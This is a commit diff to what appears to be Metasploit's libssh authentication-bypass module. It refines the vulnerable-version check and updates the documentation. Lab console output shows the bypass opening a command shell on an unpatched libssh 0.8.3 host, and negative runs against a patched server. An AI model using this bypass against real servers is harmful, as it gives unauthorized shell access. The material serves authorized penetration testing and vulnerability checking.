Improve banner checking in libssh_auth_bypass

Now we do the right thing when libssh is patched.
GSoC/Meterpreter_Web_Console
William Vu 2018-10-19 15:13:45 -05:00
parent da38dfb29a
commit e4c71265fb
2 changed files with 45 additions and 11 deletions

View File

@ -2,7 +2,8 @@
This module exploits an authentication bypass in libssh server code This module exploits an authentication bypass in libssh server code
where a `USERAUTH_SUCCESS` message is sent in place of the expected where a `USERAUTH_SUCCESS` message is sent in place of the expected
`USERAUTH_REQUEST` message. Versions 0.6 and later are affected. `USERAUTH_REQUEST` message. libssh versions 0.6.0 through 0.7.5 and
0.8.0 through 0.8.3 are vulnerable.
Note that this module's success depends on whether the server code Note that this module's success depends on whether the server code
can trigger the correct (`shell`/`exec`) callbacks despite only the state can trigger the correct (`shell`/`exec`) callbacks despite only the state
@ -35,13 +36,13 @@ require this. Note that you WILL be logged in `utmp`, `wtmp`, and
**CHECK_BANNER** **CHECK_BANNER**
This is a banner check for the `libssh` string. It's not sophisticated, This is a banner check for libssh. It's not sophisticated, and the
and the banner may be changed, but it may prevent false positives due to banner may be changed, but it may prevent false positives due to how the
how the OOB authentication packet always returns `true`. OOB authentication packet always returns `true`.
## Usage ## Usage
Testing against libssh 0.8.3: Positive testing against unpatched libssh 0.8.3:
``` ```
msf5 > use auxiliary/scanner/ssh/libssh_auth_bypass msf5 > use auxiliary/scanner/ssh/libssh_auth_bypass
@ -56,6 +57,7 @@ verbose => true
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run
[*] 172.28.128.3:2222 - Attempting authentication bypass [*] 172.28.128.3:2222 - Attempting authentication bypass
[+] 172.28.128.3:2222 - SSH-2.0-libssh_0.8.3 appears to be unpatched
[*] Command shell session 1 opened (172.28.128.1:56981 -> 172.28.128.3:2222) at 2018-10-19 12:38:24 -0500 [*] Command shell session 1 opened (172.28.128.1:56981 -> 172.28.128.3:2222) at 2018-10-19 12:38:24 -0500
[*] Scanned 1 of 1 hosts (100% complete) [*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed [*] Auxiliary module execution completed
@ -74,12 +76,25 @@ tty
# #
``` ```
Negative testing against patched libssh 0.8.4:
```
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run
[*] 172.28.128.3:2222 - Attempting authentication bypass
[-] 172.28.128.3:2222 - SSH-2.0-libssh_0.8.4 appears to be patched
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) >
```
Negative testing against an insufficiently implemented libssh server: Negative testing against an insufficiently implemented libssh server:
``` ```
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run
[*] 172.28.128.3:2222 - Attempting authentication bypass [*] 172.28.128.3:2222 - Attempting authentication bypass
[+] 172.28.128.3:2222 - SSH-2.0-libssh_0.8.3 appears to be unpatched
[-] 172.28.128.3:2222 - shell/exec channel request failed [-] 172.28.128.3:2222 - shell/exec channel request failed
[*] Scanned 1 of 1 hosts (100% complete) [*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed [*] Auxiliary module execution completed

View File

@ -16,7 +16,8 @@ class MetasploitModule < Msf::Auxiliary
'Description' => %q{ 'Description' => %q{
This module exploits an authentication bypass in libssh server code This module exploits an authentication bypass in libssh server code
where a USERAUTH_SUCCESS message is sent in place of the expected where a USERAUTH_SUCCESS message is sent in place of the expected
USERAUTH_REQUEST message. Versions 0.6 and later are affected. USERAUTH_REQUEST message. libssh versions 0.6.0 through 0.7.5 and
0.8.0 through 0.8.3 are vulnerable.
Note that this module's success depends on whether the server code Note that this module's success depends on whether the server code
can trigger the correct (shell/exec) callbacks despite only the state can trigger the correct (shell/exec) callbacks despite only the state
@ -41,7 +42,7 @@ class MetasploitModule < Msf::Auxiliary
Opt::RPORT(22), Opt::RPORT(22),
OptString.new('CMD', [false, 'Command to execute']), OptString.new('CMD', [false, 'Command to execute']),
OptBool.new('SPAWN_PTY', [false, 'Spawn a PTY', false]), OptBool.new('SPAWN_PTY', [false, 'Spawn a PTY', false]),
OptBool.new('CHECK_BANNER', [false, 'Check banner for "libssh"', true]) OptBool.new('CHECK_BANNER', [false, 'Check banner for libssh', true])
]) ])
register_advanced_options([ register_advanced_options([
@ -50,6 +51,26 @@ class MetasploitModule < Msf::Auxiliary
]) ])
end end
# Vulnerable since 0.6.0 and patched in 0.7.6 and 0.8.4
def check_banner(ip, version)
version =~ /libssh_([\d.]+)$/ && $1 && (v = Gem::Version.new($1))
if v.nil?
vprint_error("#{ip}:#{rport} - #{version} does not appear to be libssh")
return Exploit::CheckCode::Safe
elsif v.between?(Gem::Version.new('0.6.0'), Gem::Version.new('0.7.5')) ||
v.between?(Gem::Version.new('0.8.0'), Gem::Version.new('0.8.3'))
vprint_good("#{ip}:#{rport} - #{version} appears to be unpatched")
return Exploit::CheckCode::Appears
else
vprint_error("#{ip}:#{rport} - #{version} appears to be patched")
return Exploit::CheckCode::Safe
end
# Hopefully we never hit this
Exploit::CheckCode::Unknown
end
def run_host(ip) def run_host(ip)
factory = ssh_socket_factory factory = ssh_socket_factory
@ -83,10 +104,8 @@ class MetasploitModule < Msf::Auxiliary
version = ssh.transport.server_version.version version = ssh.transport.server_version.version
# XXX: The OOB authentication leads to false positives, so check banner # XXX: The OOB authentication leads to false positives, so check banner
if datastore['CHECK_BANNER'] && !version.include?('libssh') return if datastore['CHECK_BANNER'] &&
print_error("#{ip}:#{rport} - #{version} does not appear to be libssh") check_banner(ip, version) != Exploit::CheckCode::Appears
return
end
report_vuln( report_vuln(
host: ip, host: ip,